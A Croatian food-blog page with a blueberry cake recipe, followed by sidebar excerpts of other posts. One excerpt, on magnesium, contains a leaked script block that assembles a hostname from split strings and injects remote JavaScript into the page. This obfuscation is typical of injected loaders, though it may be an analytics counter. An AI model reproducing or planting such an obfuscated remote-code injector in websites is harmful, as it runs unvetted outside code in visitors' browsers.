KOLAČ S BOROVNICAMA




Kolač s borovnicama 



Mekan, mirisan i sočan, ovaj kolač s borovnicama idealan je za proljeće. Kombinacija svježih borovnica i limunove korice i daje mu posebnu svježinu, dok mrvičasti, hrskavi sloj u sredini sloj stvara neodoljivo slatko srce.




Kolač s borovnicama 


Sastojci:

Biskvit

  • 115 g maslaca (sobne temperature)
  • 110 g + 1 žlica šećera
  • 1 žlica naribane limunove korice
  • 120 ml kiselog vrhnja
  • 1 žlica ekstrakta vanilije
  • 3 jaja (sobne temperature)
  • 130 g glatkog brašna
  • 75 g bademovog brašna (ili 60 g glatkog brašna)
  • 2 čajne žličice praška za pecivo
  • 1/2 čajne žličice soli
  • 150 g borovnica (svježe ili smrznute)
  • 3 žlice džema od borovnica

Mrvičasti posip

  • 100 g smeđeg šećera
  • 2 žlice brašna
  • 30 g maslaca
  • 1 čajna žličica cimeta

Glazura

  • 80 g šećera u prahu
  • 3 žlice limunovog soka
  • 1 čajna žličica meda



Priprema:

  1. Zagrijte pećnicu na 190 °C. Namastite kalup (oko 23 cm okrugli ili duguljasti kalup za kruh ili za kuglof).
  2. U velikoj zdjeli miksajte maslac, 110 g šećera i limunovu koricu dok ne postane kremasto. Dodajte kiselo vrhnje i vaniliju pa miksajte do glatke smjese.
  3. Umiješajte jaja, jedno po jedno. Zatim dodajte brašno, bademovo brašno, prašak za pecivo i sol. Lagano umiješajte borovnice (pomiješane s 1 žlicom brašna).
  4. Za mrvice pomiješajte sve sastojke dok ne dobijete mrvičastu teksturu.
  5. U kalup stavite polovicu smjese, zatim dodajte 1 žlicu džema i lagano prošarajte.
  6. Pospite polovicom mrvičastog posipa.
  7. Dodajte ostatak smjese, zatim preostali džem i ponovno lagano prošarajte. Po želji pospite s 1 žlicom šećera.
  8. Pecite 55–60 minuta, dok sredina ne bude pečena (testirajte čačkalicom).
  9. Za glazuru pomiješajte sve sastojke dok ne dobijete glatku smjesu. Prelijte preko toplog kolača.
  10. Ohladite, narežite i poslužite.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više